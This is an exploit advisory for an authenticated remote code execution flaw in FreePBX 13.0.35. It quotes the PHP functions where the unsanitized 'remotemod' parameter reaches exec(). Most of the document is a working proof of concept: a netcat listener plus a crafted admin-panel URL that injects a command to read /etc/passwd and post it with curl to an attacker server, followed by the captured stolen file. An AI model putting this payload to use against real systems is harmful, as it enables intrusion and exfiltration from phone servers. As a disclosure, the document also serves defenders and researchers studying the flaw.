FreePBX 13.0.35 Remote Code Execution
Posted on 28 August 2016
Vulnerable software : Freepbx Tested version : 13.0.35 vendor : freepbx.org Author : Ahmed sultan (0x4148) Email : 0x4148@gmail.com Summary : FreePBX is a web-based open source GUI (graphical user interface) that controls and manages Asterisk (PBX), an open source communication server, With over 1 MILLION production systems worldwide and 20,000 new systems installed monthly, the FreePBX community continues to out-perform the industry's commercial efforts. The FreePBX EcoSystem has developed over the past decade to be the most widely deployed open source PBX platform in use across the world. Vulnerability details : Freepbx suffer from (Authenticated) remote code execution flaw Boring technical stuff File : functions.inc.php function get_headers_assoc($url) { global $amp_conf; if ($amp_conf['MODULEADMINWGET']) { FreePBX::Curl()->setEnvVariables(); exec("wget --spider --server-response -q ".$url." 2>&1", $wgetout, $exitstatus); $headers = array(); if($exitstatus == 0 && !empty($wgetout)) { foreach($wgetout as $value) { $ar = explode(':', $value); $key = trim($ar[0]); if(isset($ar[1])) { $value = trim($ar[1]); $headers[strtolower($key)] = trim($value); } the $url is not being sanitized before being passed to the 'exec' function which lead to Command execution flaw The function is being called at File : libraries/modulefunctions.class.php Line 1539 : function handledownload($module_location, $progress_callback = null) { ................................................... // invoke progress callback if (!is_array($progress_callback) && function_exists($progress_callback)) { $progress_callback('getinfo', array('module'=>$modulename)); } else if(is_array($progress_callback) && method_exists($progress_callback[0],$progress_callback[1])) { $progress_callback[0]->$progress_callback[1]('getinfo', array('module'=>$modulename)); } $file = basename($module_location); $filename = $amp_conf['AMPWEBROOT']."/admin/modules/_cache/".$file; // Check each URL until get_headers_assoc() returns something intelligible. We then use // that URL and hope the file is there, we won't check others. -=>>>>>> $headers = get_headers_assoc($module_location); if (empty($headers)) { return array(sprintf(_('Failed download module tarball from %s, server may be down'),$module_location)); } the handledownload function is called via the admin panel whenever the page.modules.php file is included which can be basically done using admin/config.php?display=modules File : page.modules.php Line 174 : switch ($action) { .............................. Line 643 : case 'upload': .............................. Line 658 : $displayvars['processed'] = false; if (isset($_REQUEST['upload']) && isset($_FILES['uploadmod']) && !empty($_FILES['uploadmod']['name'])) { $displayvars['res'] = $modulef->handleupload($_FILES['uploadmod']); $displayvars['processed'] = true; } elseif (isset($_REQUEST['download']) && !empty($_REQUEST['remotemod'])) { $displayvars['res'] = $modulef->handledownload($_REQUEST['remotemod']); $displayvars['processed'] = true; } elseif(isset($_REQUEST['remotemod'])) { $displayvars['res'][] = 'Nothing to download or upload'; $displayvars['processed'] = true; } the 'remotemod' parameter is passed to exec function without being sanitized , which lead to the mentioned flaw POC On attacker's side run nc -lvp 8080 on target's side loginto the panel and then browse to http://TARGET/admin/config.php?display=modules&action=upload&download=0x4148&remotemod=http://127.0.0.1/junk%26x=$(cat /etc/passwd);curl -d "$x" http://Attacker_server:8080/0x4148.jnk Result [0x4148:/lab]# nc -lvp 8080 listening on [any] 8080 ... DNS fwd/rev mismatch: x.x.x.x != xxxxxx.com connect to [ATTACKER] from x.x.x.x.x [Target] 45934 POST //0x4148.jnk HTTP/1.1 User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/ 3.16.2.3 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2 Host: ATTACKER:8080 Accept: */* Content-Length: 1391 Content-Type: application/x-www-form-urlencoded Expect: 100-continue root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin asterisk:x:499:498::/home/asterisk:/bin/bash radiusd:x:95:95:radiusd user:/home/radiusd:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash haldaemon:x:68:68:HAL daemon:/:/sbin/nologin openvpn:x:498:497:OpenVPN:/etc/openvpn:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin saslauth:x:497:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin prosody:x:496:495::/var/lib/prosody:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin